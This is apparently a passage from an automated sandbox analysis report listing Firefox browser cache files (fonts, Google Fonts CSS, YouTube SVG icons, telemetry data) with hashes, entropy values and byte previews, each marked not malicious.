Preview:	.xq......[vF8.e.......,....... .'.6...^_.I)...y~.........6J....6/AE..."....1.V{.S.....`.11>uB.\|_K.C4c..KM}[.%.f..&.....~-.{...b...".Q.2...e/..e.J.).%.II..NU...a.E.@..e..,\|. ...g..1.=...."b..........P.....w!....................1.A."..7U.....].:..k...tx.b9...u..............#<..........9..Zq.l.O:...D..\|...Bv..<c.i..@n...3....-Q.....l...-:..U_...~)`....v..{.K.t.{..Z...Pl.q3.\|wm. ?.C..:e...UN..T..J\.!...........?Y.........._...6...h..............[y.....A..o..a..z.XzH.;.....#D4D3.....7Ga../.5.....j.ZjO.C194..w.z.}D{...z{{..Fs...Lm;U...>s.....z......R.-..+...c..5".w..Sl.........Kq....f.oL......\QV........{...A.V...-..s(....+.....W.V..\|..].<.....[3....w.2s.e....,......9."..X....&.q3LSy:.....K..`...k,.....v...b...G..Q........z.f..r?QmP..X'.u...-B}e..h[.s@.;....p..h.+A.Y..n....8....\|.B<7...S..Lp.(....z=.hk.."\..~8...+bE.W.S..<...........ze..T'.;.._:.....:.Q...R...h..y..`.d..=j.R..W.:..!.......n.F*.(....H........D6..3...`.-...6

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B20635A9E3239966DF1AF8702BD403FE7FB90005

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15860, version 1.0
Category:	dropped
Size (bytes):	25193
Entropy (8bit):	7.734562457062092
Encrypted:	false
SSDEEP:	768:S621tHY4xwbGmjloSM7VWzyUZVf8eehq4w2BV5:SBlwbvVM7GVZVfaBw2X5
MD5:	42672F82D480A3AF4EB6830E4B65685E
SHA1:	C3B62B6940C6DFF024E9A2AEEF25BFAFD1930634
SHA-256:	050CABFEE33BA1CC7DC92C84402868DE81AFAC5424E21E0B423428F59D94EDAE
SHA-512:	0984E16B740F612C46ECDEAA49B8F6850550F874FBC796BB7A9CEE0FE0B6D60EDC61CCC1C21FCE546DCF6059A61541F735509A7FD165DC5A2317632C8FE6DA81
Malicious:	false
Reputation:	unknown
Preview:	wOF2......=...........=..........................d.....^.`.. .H..<........8........6.$.... ..~. ..)..~E......6..J..`.. :.....8.;..5......!.l.j.%SX.SDm...RXh...&.X......5..._...............@...8...Gi..g.;9..'.Q......1..5.U.....w.+.hn..........c.....5.#{..%.#.JP..i.J..U(.6.D5V.<"Ex6"...k..[..{.?.d2....{.........W.......S...hT,.l..'.9.;[@..._.L..\|+...)......S...9F......T..t...-=X.:FtZ..uZ.[.?..f<.....@.....'...I...e..........8.?..-R.3,%X...I2\|.Wk{i...V2C....H$.H.LH.{.........(...6U..%W[t.R....j.........iS..%..L....rf.=..7..9i.I...1.Mj..C..u.B.........vJ.....+.u$.=..3..T..R.._.gs...6).$.-.PUH..Hl....WDd.......fK.(B.F1>..5.._[..]}VA#X...c.....%.(s50...m...^...1...'.$U*H.t...H...s.AZu...'...8.p...@.@.....q..Y.#.....#.....G.....G@..o8. A........:.........S.:..N.S.j.....tav.}.9h..s.....he.......{,~k...,eK.z}.......5%G...l.uCK.....V..............m.....U}.Sz..Z.c.{.....:..g......>h..'\|Z........a....^.b...o.>...g........f../w'....Ja.o(

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B3316860430DA0966649580110E85D2FFB7B5A61

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1116)
Category:	dropped
Size (bytes):	82517
Entropy (8bit):	5.675348494078315
Encrypted:	false
SSDEEP:	768:4GIrciEkWXctV34ucboi8XdpGHpBMbSrOLR0QZWtPWDG4nFjI9rkiDyVO9HI4Ckh:h45nb3nxQIiENg5Bi+C02byxKg
MD5:	07731F59508E96D0942F35465662A4DC
SHA1:	8F684BF9722E740AA7B656B44C85C7C4B4A00A52
SHA-256:	69F9F2413E2E6000F2B5E6501E53620B4ADC2C75F5B0AC3467FD81232D9D6916
SHA-512:	F0531368CC21575D53AE9EAB675953C5809B93BBFA632A46621C77B578A85FB68EA077CE9B287B8CD35CCB8E7135F05593B865A13AFF58E5188A36985D051370
Malicious:	false
Reputation:	unknown
Preview:	/. See: https://fonts.google.com/license/googlerestricted. /./ cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. f

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B3B0E252350B538B85FDCD7986C1EF6D495A2570

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4244635648
Category:	dropped
Size (bytes):	9672
Entropy (8bit):	6.209042627085635
Encrypted:	false
SSDEEP:	192:qhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEYE0:fzwHUL75Vf8eehqrufWWCt2BVlnf
MD5:	FCF51F3DD83846DBEAA692747B15D611
SHA1:	B4DF82136059A9399324AAE2189B071FF332F990
SHA-256:	76F1270B6DCBA15A38BC250598C5382D39B73032A7F44324383F0B79AD828A79
SHA-512:	CD80DE0068EE3D5CBC2C9A403259428F5290BBB04F4A9760274025B7D12A3F56F037270D805F9A99F0C12D556C6BBADA62006AA499DFEAD3AA682B09629272C0
Malicious:	false
Reputation:	unknown
Preview:	...........Q.n.0.~.+w..M..8..+.4.U..._~(b.)N...N...g./=N.J..r;G.1.LJ..8.#...N.el..\|}w..g.Vbj..v%'...v.....~...._.8.f.......,=.....!...$.6$....P..@bp...MG/9.m~..).rs.&.1...d........C..:K........~..U+...)..d....\|(...../...v.......UDu.~...[3{..................e.dve.dvFv..g......m....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/sparkle/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUE

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B3E448A876B34E821E365527D2AECCA735441C98

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	13737
Entropy (8bit):	5.877493981304548
Encrypted:	false
SSDEEP:	192:0ai9UCgs4AJ/mpzcNx/eMw1QWD70OrGUJpiNlI8Lv2Z4LXDlfbaI8j3q5TFRTFi:qgsLL8drGUqNlVLv2WzDlTaIdTLi
MD5:	054676C9EFECF156FF5FA4A9B728CDD8
SHA1:	0371C112CD3C51815CD159D12290FB6B8189339E
SHA-256:	FE988C056EC7E7290818863768F63F9C2FB2AF670C7B762F7996382102EE2171
SHA-512:	39701CEE25E6B5FCB1D4F12EDD75382AE5212F34E7FEBEE5DFBA924984FC95DA92F93213783EA44A8CA6C2508814E8AAB07A4AE095FD620967F38AE34399FEF5
Malicious:	false
Reputation:	unknown
Preview:	LINT.IfChange-->.<svg xmlns="http://www.w3.org/2000/svg" id="yt-logo-updated-svg" class="external-icon" viewBox="0 0 90 20">. <svg id="yt-logo-updated" viewBox="0 0 90 20" preserveAspectRatio="xMidYMid meet" xmlns="http://www.w3.org/2000/svg">. <g>. <path d="M27.9727 3.12324C27.6435 1.89323 26.6768 0.926623 25.4468 0.597366C23.2197 2.24288e-07 14.285 0 14.285 0C14.285 0 5.35042 2.24288e-07 3.12323 0.597366C1.89323 0.926623 0.926623 1.89323 0.597366 3.12324C2.24288e-07 5.35042 0 10 0 10C0 10 2.24288e-07 14.6496 0.597366 16.8768C0.926623 18.1068 1.89323 19.0734 3.12323 19.4026C5.35042 20 14.285 20 14.285 20C14.285 20 23.2197 20 25.4468 19.4026C26.6768 19.0734 27.6435 18.1068 27.9727 16.8768C28.5701 14.6496 28.5701 10 28.5701 10C28.5701 10 28.5677 5.35042 27.9727 3.12324Z" fill="#FF0000"></path>. <path d="M11.4253 14.2854L18.8477 10.0004L11.4253 5.71533V14.2854Z" fill="white"></path>. </g>. <g>. <g id="youtube-paths">. <path d="M34.6024 13.0036L31.3945

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B41E3D0BA051DAFDC3F262CC45C5AE9165BC9508

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 1526726656
Category:	dropped
Size (bytes):	9343
Entropy (8bit):	6.1085325123828245
Encrypted:	false
SSDEEP:	192:T7hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmekE:T4zwHUL75Vf8eehqrufWWCt2BVmU
MD5:	A8C1599CBAE0D3EAD10535907DB2B3C4
SHA1:	65B88BCF47EE9351F9DB48C4F907D976DDE3020B
SHA-256:	5C3975F6930A81D243F491C447E49E19C8BC550249C1D06C579AAED29CF02894
SHA-512:	E1E4B49F0BB11C6290068C14E7740958D54881DF79A6A5B3878D299812139FC2B846805F19D7FA48BB0CFBD0A83A980C0F9CBD549159997D715A2FD1D1812CCF
Malicious:	false
Reputation:	unknown
Preview:	...........).KW....+.U.())...///.+7../J.7200...P..)H,.PH.U.P0-34.14.5....$..P....I.%~N...;.A.w........e.due.dvFv..g.^....}....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/play-arrow/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKdH+vhc3ulc09nNDiRhTzcTUdJzBqBggrBgEFBQcBAQReMFwwJw

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B545B9E5C89522DBF95C12FB3260F13492C2C534

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3137339392
Category:	dropped
Size (bytes):	9612
Entropy (8bit):	6.16824163494791
Encrypted:	false
SSDEEP:	192:yhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEI/HEI/s:HzwHUL75Vf8eehqrufWWCt2BVlNa
MD5:	EE954A7635DAF36A4CC278F54F4E46D3
SHA1:	AD6F609BF51FE462A23411090C0C38B122F61F8D
SHA-256:	2AD3ADD81B4A190066844D940B6937E1CF9E6FAA2FB1B3A88947E0A6068E36F5
SHA-512:	80C50059BF744AA862C900F867F5CCC5D41F3F9FE0463ECF0289E3343A3E3E0371E15212292396BCF40DDA129CB1999FD989F9C8C07508E93EC7B9541FDC8720
Malicious:	false
Reputation:	unknown
Preview:	..........M....0.E.......m...XX.D... M._.....k9.m..4.{.1.s.\.d.l=......57..y..m..].f..}...VC.M....=.#g...:..v.....OT.@7.$c.2.}Ni@q.Z..G....J..'aIh....$.j.',eMx2^d.....T.....R.............e.due.dvFv..g.K....s....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/subscriptions/v7/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfW

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\B71FF2E0E732E77F1659251807568315A141B665

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	9528
Entropy (8bit):	6.2304674380833225
Encrypted:	false
SSDEEP:	192:0Y4krhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVmWK6KH:0Y4kIzwHUL75Vf8eehqrufWWCt2BVm7
MD5:	9FC1CC71C0B79DA0EEF2F5E0C53BDED6
SHA1:	9AC550F9844DE425E383AD7BEDCEA30E916D0161
SHA-256:	78949D36DFBFC662EE424E61AC0F87AC21B7FC6AD2633032B9A58CBF03B75B79
SHA-512:	116E2865D4E1597F9E4D84785B44F5FEBAA5CBE2A034AD3B69DB119743FA01ECFF8416CCBBD3DA2678980F1669A13E7E3E2BA429CFB32252D3643FCB8BEB5C3B
Malicious:	false
Reputation:	unknown
Preview:	.....(L7Z.eG..rgEj.<.s.....x.......B'S.2...[H..`...S...%..Nt........,.2.4......l3.U%:...{\|....K].3..N..+e=.S..O.~.......!.bh#..<.)v...&.....A.._...........N....b.....w.hC...D.Mc}..N..q.).....9.P./....<..=.q...i...T....J(.z.....&.6....62..~......X.k]R......;.d...3N..:..........e.due.dvFv..g.:....}....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://www.gstatic.com/youtube/img/icons/web/youtube_fill/volume-off/v1/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKO

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\BD9CCF8167873D4A01DE1EEBD3F3CF68BFCB4751

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 4261412864
Category:	dropped
Size (bytes):	9670
Entropy (8bit):	6.2089328764308105
Encrypted:	false
SSDEEP:	192:uv5bhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE4Eb:MYzwHUL75Vf8eehqrufWWCt2BVlXw
MD5:	65C1FB1AB9EA45D2DFD67C7D54D14260
SHA1:	CA2D50EA7E26AF6C3685D30605D0413051D7D5E9
SHA-256:	BAC523D1E70786DFD6D30B3F5AE16AACE87555C0F1EA686A751FBD35F2BFD605
SHA-512:	5FB9711B0D6263C611B25849B440E484D468A9C14555DA44D08A7F14632BBF074748E23ED8A7F4E5EB72BA0B81B6A3EEBF38160B9C570595712EE517E25D7624
Malicious:	false
Reputation:	unknown
Preview:	..........=..n.0.._..}........]..A..1.J.t}.9h.l.?........y.:.b...*.Y.z.+U.u.......;...-...~......9....z\\|..M....i..u}t.....5.}O......)...$..F..bC@...../.$$....mRA..q..Ec%.H..XC.{,4pG".......x4I....?.gzG.l.J..=O...R....,>y.z/......V...d.U...Y/...........e.dqe.dqFv..g..X...j....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/fashion/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDD

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\BEC8C93252E64F6E70E259A294A969B188774F58

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 2600468480
Category:	dropped
Size (bytes):	9573
Entropy (8bit):	6.146918791463125
Encrypted:	false
SSDEEP:	192:MhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEeE0:1zwHUL75Vf8eehqrufWWCt2BVlDV
MD5:	5D95ACC200BB0CA1FBD900FD050C6B11
SHA1:	8F72C53FF1375DD0115D6F690466454B14A468C8
SHA-256:	0A4ADFAE69D8203289796736FA53B56CC16578EC4DF146B8E7C350B17D289939
SHA-512:	4322869129D84397BE5526E88694CEBC12835D4623BAF597EE95B93CCB9DC95EEE604A614262A5499CD781AA2B6CA5B4E869453CA3CAF6E83C23718236ED5B21
Malicious:	false
Reputation:	unknown
Preview:	..........-.... .E.%.\..Z..}....iY.v.?.{9.soB.~88.k.-.9o..K)XFL..I..k.._...2R....g:-. ..4W.+...fK...[.1....D............QOm..I.^..7Z......I0\|.......w..{........e.due.dvFv..g.78...n....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_outline/arrow_up/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9iJfWOxn2x6cvX3YgsCK+0zAfBgNVHSMEGDAWgBSKd

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C050C2250D3FDC6BFC8EFB79D6C18D4D0402B6F0

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3388997632
Category:	dropped
Size (bytes):	9613
Entropy (8bit):	6.173249225267319
Encrypted:	false
SSDEEP:	192:L6hChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlEp4Ep/:LPzwHUL75Vf8eehqrufWWCt2BVlU4U/
MD5:	84BCFC2DB2301D2EB60FC117D71BC059
SHA1:	18BAE014841A6143FFD3D2A267767A29A6DD856D
SHA-256:	24CB1FFA80E16C1A7D3BAB5EF97117512219FFBB0857FC3FF45087ECB967AC0B
SHA-512:	CAC827402B07C6EF0BCA18BCAA54847B591F2A25CE0F316ACB87A7B3A922BE46E28558A1567409CE23E402DFA7AB9F8EB4EAEF088FAA2B5D12B7963D713B427D
Malicious:	false
Reputation:	unknown
Preview:	..........M.;..0......'.9%).J.m..V6"/.....9W..bF.j..^a..<-......1.".b}.BK)E.`...:9~.o...{...Afi....q _......S./.....T[..r..).."e'.m.......A..a..P....4.C.%7.+...?..S.mF.(.BPe6...DS.K.?...p....l.s'..........e.due.duFv..g.k....g....O^partitionKey=%28https%2Cyoutube.com%29,a,:https://fonts.gstatic.com/s/i/youtube_fill/news/v2/24px.svg.necko:classified.1.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAASvMIIEqzCCA5OgAwIBAgIRAIA8JGl+9rN0CfNg22b1qPcwDQYJKoZIhvcNAQELBQAwRjELMAkGA1UEBhMCVVMxIjAgBgNVBAoTGUdvb2dsZSBUcnVzdCBTZXJ2aWNlcyBMTEMxEzARBgNVBAMTCkdUUyBDQSAxQzMwHhcNMjMxMjExMDgwOTExWhcNMjQwMzA0MDgwOTEwWjAYMRYwFAYDVQQDDA0qLmdzdGF0aWMuY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyb7aXRi3xHmn+Q7HQtPnu+dpw8Ogk6L/v9POASzUJIZcbXvXAmHLaVu7T+FFZzFIUw2J3u/kB6gDJ9C+iTHfmKOCAoswggKHMA4GA1UdDwEB/wQEAwIHgDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRwBkR9i

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C2D157A2F23ABDC335BC77A146D37959616A6E90

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	8044
Entropy (8bit):	6.037598147929955
Encrypted:	false
SSDEEP:	192:r4JbV2GHyBXO49FgAfBKB2TWCDeBNbZov0pso:EJxVHydO49aAfU2LkAsj
MD5:	68F80F0138F1F891A726C7428D16CB8F
SHA1:	F2A37D73CF9D85813E95800AE97660933AD2D71D
SHA-256:	29CE100D4041EE7384813EC4E3EA6B98244553DD1A99427F567309C14ABE7022
SHA-512:	AED5BC870A97703589CBA3672ABD07994F0D8805BE6C96456C0C3880E16C4FE3CA2B67D7398FB35257D70DE98A234085A9C3B67C2C4513F699CD2315DA5E61F5
Malicious:	false
Reputation:	unknown
Preview:	1]..........e.dJe.dKFv..e.dK...z....a,~1705534495,:https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/c5ec7d19-9a53-4bfb-8647-f4814d7fca67.strongly-framed.1.security-info.FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAAAAgAAAAAAAAAAAAAAAAAAAAEAOQFmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAX1MIIF8TCCA9mgAwIBAgIQAeBji5rfnEKbkKRu9rqqbTANBgkqhkiG9w0BAQsFADCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xKjAoBgNVBAoMIVRoZSBVbml2ZXJzZSBTZWN1cml0eSBDb21wYW55IEx0ZDEqMCgGA1UEAwwhVGhlIFVuaXZlcnNlIFNlY3VyaXR5IENvbXBhbnkgTHRkMB4XDTI0MDExNjIzMzUzOVoXDTI1MDExNTIzMzUzOVowgYExCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMScwJQYDVQQDEx5pbmNvbWluZy50ZWxlbWV0cnkubW96aWxsYS5vcmcwggEgMA0GCSqGSIb3DQEBAQUAA4IBDQAwggEIAoIBAQC20hRkz2cHrAqiprMow8s6eCX1stiAWM6NPWKHjVWP+TEK2iMuiOXOoxHa5qYNLnKbU1JQ7HykK0FE3dj1Ww3MN3amatnVeuD6uL/POgKfmulXiUpC03FTxo+4wzgEBWvltyVWdC4dC

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cache2\entries\C5170B8E72E1B76039422612178E2176212B1ABD

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 3019898880
Category:	dropped
Size (bytes):	9592
Entropy (8bit):	6.172971897728323
Encrypted:	false
SSDEEP:	192:edbhChZwHpmTHLbf5Vf8e98hqrKcS+E+rW29t2BVlE7EA:9zwHUL75Vf8eehqrufWWCt2BVlWF
MD5:	5B3FEC2F7105508499038FD59903AFE5
SHA1:	9410A42E74080D04FB0E099A0C47463D4AFA3419
SHA-256:	2FFE0EFA70B5313E557AAD4F202CF6B3A5DC66D75BF4EF9338918FD0A5F953B8
SHA-512:	18E6DD740F5D4C380B4E5DDAC31D919D9B7B85EE740CDA1F122C5CFC6F41A677053CE57ACED5F572FACE2447433002A695F618964EB6DADD945594AE241120C4
Malicious:	false
Reputation:	unknown
